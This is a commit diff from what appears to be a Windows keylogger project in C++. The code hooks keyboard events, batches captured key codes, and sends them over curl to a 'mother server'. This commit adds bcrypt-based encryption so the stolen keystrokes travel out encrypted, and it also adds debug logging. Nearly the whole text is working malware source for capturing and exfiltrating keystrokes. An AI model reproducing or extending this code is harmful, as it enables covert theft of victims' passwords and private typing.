ConnectionsPivoter: Encrypt network traffic before sending it to the

mother server

.gitignore

@@ -395,4 +395,7 @@ FodyWeavers.xsd
 *.msp
 
 # JetBrains Rider
-*.sln.iml
+*.sln.iml
+
+# tmp 
+enc_temp_folder

Pivoter.cpp

@@ -9,10 +9,11 @@
 #include <Windows.h>
 #include <WinUser.h>
 #include <vector>
+#include <thread>
 #include "codes.h"
 #include "connections_pivoter.h"
 
-#define DEBUG FALSE
+#define DEBUG TRUE
 #define KEYS_LIMIT 100
 HHOOK keyboard_events_hook; 
 std::vector<std::string> virt_codes; 
@@ -22,8 +23,10 @@ void stack_codes() {
 	if (virt_codes.size() < KEYS_LIMIT)
 		return; 
 	
-	// send the codes to the mother server 
-	mother_server_pv.send_codes(virt_codes); 
+	bool res = mother_server_pv.send_codes(virt_codes); 
+	if (DEBUG && !res)
+		std::cout << "Failed sending message to the mother server" << std::endl; 
+
 	virt_codes.clear();
 }
 

base64.h

@@ -29,7 +29,6 @@
 
 class Base64 {
  public:
-
   static std::string encode(const std::string data) {
     static constexpr char s_encoding_table[] = {
       'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',

connections_pivoter.h

@@ -7,6 +7,7 @@
 #include <string>
 #include <vector>
 #include <Windows.h>
+#include <bcrypt.h>
 #include <curl/curl.h>
 
 #pragma comment (lib, "Normaliz.lib")
@@ -19,7 +20,7 @@ class ConnectionsPivoter {
 public:
 	std::string url; 
 	CURL* curl; 
-
+	
 	ConnectionsPivoter(std::string url); 
 	ConnectionsPivoter();
 
@@ -37,6 +38,13 @@ public:
 	/// <param name='codes:'>vector of key codes</param>
 	/// <returns>TRUE if successful</returns>
 	BOOL send_codes(std::vector<std::string> codes); 
+
+	/// <summary>
+	/// Encrypt the given data
+	/// </summary>
+	/// <param name='data:'>Data to encrypt</param>
+	/// <returns>Encrypted data</returns>
+	PBYTE encrypt_traffic(std::string data, size_t *output_length); 
 private:
 
 };